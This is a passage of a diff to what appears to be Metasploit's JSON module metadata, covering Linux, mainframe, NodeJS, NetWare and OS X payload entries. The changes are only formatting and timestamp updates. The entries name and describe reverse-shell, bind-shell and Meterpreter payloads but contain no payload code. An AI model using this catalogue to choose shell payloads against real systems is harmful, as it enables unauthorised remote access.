"/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb", "is_install_path": true, "ref_name": "linux/x86/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247425,9 +248327,7 @@ "payload_linux/x86/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", "fullname": "payload/linux/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247435,24 +248335,21 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/shell_find_port.rb", "is_install_path": true, "ref_name": "linux/x86/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247461,34 +248358,29 @@ "payload_linux/x86/shell_find_tag": { "name": "Linux Command Shell, Find Tag Inline", "fullname": "payload/linux/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "skape " ], - "description": "Spawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "description": "Spawn a shell on an established connection (proxy/NAT safe)", + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/shell_find_tag.rb", "is_install_path": true, "ref_name": "linux/x86/shell_find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247497,9 +248389,7 @@ "payload_linux/x86/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247508,24 +248398,21 @@ "joev " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247534,9 +248421,7 @@ "payload_linux/x86/shell_reverse_tcp_ipv6": { "name": "Linux Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/linux/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247544,24 +248429,21 @@ "Matteo Malvica " ], "description": "Connect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-01-14 09:31:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb", "is_install_path": true, "ref_name": "linux/x86/shell_reverse_tcp_ipv6", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247570,9 +248452,7 @@ "payload_linux/zarch/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/zarch/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247582,24 +248462,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "zarch", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/zarch/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247608,9 +248485,7 @@ "payload_linux/zarch/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/zarch/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247620,24 +248495,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "zarch", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/zarch/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247646,9 +248518,7 @@ "payload_linux/zarch/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/zarch/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247658,24 +248528,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "zarch", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/zarch/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247684,9 +248551,7 @@ "payload_mainframe/shell_reverse_tcp": { "name": "Z/OS (MVS) Command Shell, Reverse TCP Inline", "fullname": "payload/mainframe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247694,24 +248559,21 @@ "Bigendian Smalls" ], "description": "Listen for a connection and spawn a command shell.\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", - "references": [ - - ], + "references": [], "platform": "Mainframe", "arch": "zarch", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/mainframe/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "mainframe/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247720,9 +248582,7 @@ "payload_multi/meterpreter/reverse_http": { "name": "Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)", "fullname": "payload/multi/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247730,24 +248590,21 @@ "OJ Reeves" ], "description": "Handle Meterpreter sessions regardless of the target arch/platform.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Multi", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-04-21 19:47:18 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/multi/reverse_http.rb", "is_install_path": true, "ref_name": "multi/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247758,9 +248615,7 @@ "payload_multi/meterpreter/reverse_https": { "name": "Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)", "fullname": "payload/multi/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247768,24 +248623,21 @@ "OJ Reeves" ], "description": "Handle Meterpreter sessions regardless of the target arch/platform.\n\nTunnel communication over HTTPS", - "references": [ - - ], + "references": [], "platform": "Multi", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-04-21 19:46:44 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/multi/reverse_https.rb", "is_install_path": true, "ref_name": "multi/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247796,9 +248648,7 @@ "payload_netware/shell/reverse_tcp": { "name": "NetWare Command Shell, Reverse TCP Stager", "fullname": "payload/netware/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247806,24 +248656,21 @@ "toto" ], "description": "Connect to the NetWare console (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Netware", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/netware/reverse_tcp.rb", "is_install_path": true, "ref_name": "netware/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -247834,9 +248681,7 @@ "payload_nodejs/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via nodejs)", "fullname": "payload/nodejs/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247844,24 +248689,21 @@ "joev " ], "description": "Creates an interactive shell via nodejs", - "references": [ - - ], + "references": [], "platform": "NodeJS", "arch": "nodejs", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/nodejs/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "nodejs/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247870,9 +248712,7 @@ "payload_nodejs/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via nodejs)", "fullname": "payload/nodejs/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247881,24 +248721,21 @@ "joev " ], "description": "Creates an interactive shell via nodejs", - "references": [ - - ], + "references": [], "platform": "NodeJS", "arch": "nodejs", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/nodejs/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "nodejs/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247907,9 +248744,7 @@ "payload_nodejs/shell_reverse_tcp_ssl": { "name": "Command Shell, Reverse TCP SSL (via nodejs)", "fullname": "payload/nodejs/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247918,24 +248753,21 @@ "joev " ], "description": "Creates an interactive shell via nodejs, uses SSL", - "references": [ - - ], + "references": [], "platform": "NodeJS", "arch": "nodejs", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb", "is_install_path": true, "ref_name": "nodejs/shell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247944,9 +248776,7 @@ "payload_osx/aarch64/exec": { "name": "OSX aarch64 Execute Command", "fullname": "payload/osx/aarch64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -247954,9 +248784,7 @@ "alanfoster" ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -247970,8 +248798,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -247980,9 +248807,7 @@ "payload_osx/aarch64/meterpreter/reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Stager", "fullname": "payload/osx/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248010,8 +248835,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248022,9 +248846,7 @@ "payload_osx/aarch64/meterpreter_reverse_http": { "name": "OSX Meterpreter, Reverse HTTP Inline", "fullname": "payload/osx/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248035,24 +248857,21 @@ "usiegl00" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "osx/aarch64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248061,9 +248880,7 @@ "payload_osx/aarch64/meterpreter_reverse_https": { "name": "OSX Meterpreter, Reverse HTTPS Inline", "fullname": "payload/osx/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248074,24 +248891,21 @@ "usiegl00" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "osx/aarch64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248100,9 +248914,7 @@ "payload_osx/aarch64/meterpreter_reverse_tcp": { "name": "OSX Meterpreter, Reverse TCP Inline", "fullname": "payload/osx/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248113,24 +248925,21 @@ "usiegl00" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/osx/aarch64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/aarch64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248139,9 +248948,7 @@ "payload_osx/aarch64/shell_bind_tcp": { "name": "OS X x64 Shell Bind TCP", "fullname": "payload/osx/aarch64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248149,9 +248956,7 @@ "alanfoster" ], "description": "Bind an arbitrary command to an arbitrary port", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -248165,8 +248970,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248175,9 +248979,7 @@ "payload_osx/aarch64/shell_reverse_tcp": { "name": "OSX aarch64 Shell Reverse TCP", "fullname": "payload/osx/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248185,9 +248987,7 @@ "alanfoster" ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "aarch64", "rport": null, @@ -248201,8 +249001,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248211,9 +249010,7 @@ "payload_osx/armle/execute/bind_tcp": { "name": "OS X Write and Execute Binary, Bind TCP Stager", "fullname": "payload/osx/armle/execute/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248221,24 +249018,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/armle/bind_tcp.rb", "is_install_path": true, "ref_name": "osx/armle/execute/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248249,9 +249043,7 @@ "payload_osx/armle/execute/reverse_tcp": { "name": "OS X Write and Execute Binary, Reverse TCP Stager", "fullname": "payload/osx/armle/execute/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248259,24 +249051,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/armle/reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/armle/execute/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248287,9 +249076,7 @@ "payload_osx/armle/shell/bind_tcp": { "name": "OS X Command Shell, Bind TCP Stager", "fullname": "payload/osx/armle/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248297,24 +249084,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/armle/bind_tcp.rb", "is_install_path": true, "ref_name": "osx/armle/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248325,9 +249109,7 @@ "payload_osx/armle/shell/reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Stager", "fullname": "payload/osx/armle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248335,24 +249117,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/armle/reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/armle/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248363,9 +249142,7 @@ "payload_osx/armle/shell_bind_tcp": { "name": "Apple iOS Command Shell, Bind TCP Inline", "fullname": "payload/osx/armle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248373,24 +249150,21 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/armle/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "osx/armle/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248399,9 +249173,7 @@ "payload_osx/armle/shell_reverse_tcp": { "name": "Apple iOS Command Shell, Reverse TCP Inline", "fullname": "payload/osx/armle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248409,24 +249181,21 @@ "hdm " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/armle/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248435,34 +249204,29 @@ "payload_osx/armle/vibrate": { "name": "Apple iOS iPhone Vibrate", "fullname": "payload/osx/armle/vibrate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "hdm " ], - "description": "Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded.\n Based on work by Charlie Miller .", - "references": [ - - ], + "description": "Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded.\n Based on work by Charlie Miller .", + "references": [], "platform": "OSX", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/armle/vibrate.rb", "is_install_path": true, "ref_name": "osx/armle/vibrate", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248471,9 +249235,7 @@ "payload_osx/ppc/shell/bind_tcp": { "name": "OS X Command Shell, Bind TCP Stager", "fullname": "payload/osx/ppc/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248481,24 +249243,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/ppc/bind_tcp.rb", "is_install_path": true, "ref_name": "osx/ppc/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248509,9 +249268,7 @@ "payload_osx/ppc/shell/find_tag": { "name": "OS X Command Shell, Find Tag Stager", "fullname": "payload/osx/ppc/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248519,24 +249276,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/ppc/find_tag.rb", "is_install_path": true, "ref_name": "osx/ppc/shell/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248547,9 +249301,7 @@ "payload_osx/ppc/shell/reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Stager", "fullname": "payload/osx/ppc/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248557,24 +249309,21 @@ "hdm " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/ppc/reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/ppc/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248585,9 +249334,7 @@ "payload_osx/ppc/shell_bind_tcp": { "name": "OS X Command Shell, Bind TCP Inline", "fullname": "payload/osx/ppc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248595,24 +249342,21 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "osx/ppc/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248621,9 +249365,7 @@ "payload_osx/ppc/shell_reverse_tcp": { "name": "OS X Command Shell, Reverse TCP Inline", "fullname": "payload/osx/ppc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248631,24 +249373,21 @@ "hdm " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "osx/ppc/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -248657,9 +249396,7 @@ "payload_osx/x64/dupandexecve/bind_tcp": { "name": "OS X dup2 Command Shell, Bind TCP Stager", "fullname": "payload/osx/x64/dupandexecve/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248668,24 +249405,21 @@ "nemo " ], "description": "dup2 socket in edi, then execve.\n\nListen, read length, read buffer, execute", - "references": [ - - ], + "references": [], "platform": "OSX", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/osx/x64/bind_tcp.rb", "is_install_path": true, "ref_name": "osx/x64/dupandexecve/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -248696,9 +249430,7 @@ "payload_osx/x64/dupandexecve/reverse_tcp": { "name": "OS X dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/osx/x64/dupandexecve/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -248707,24 +249439,21 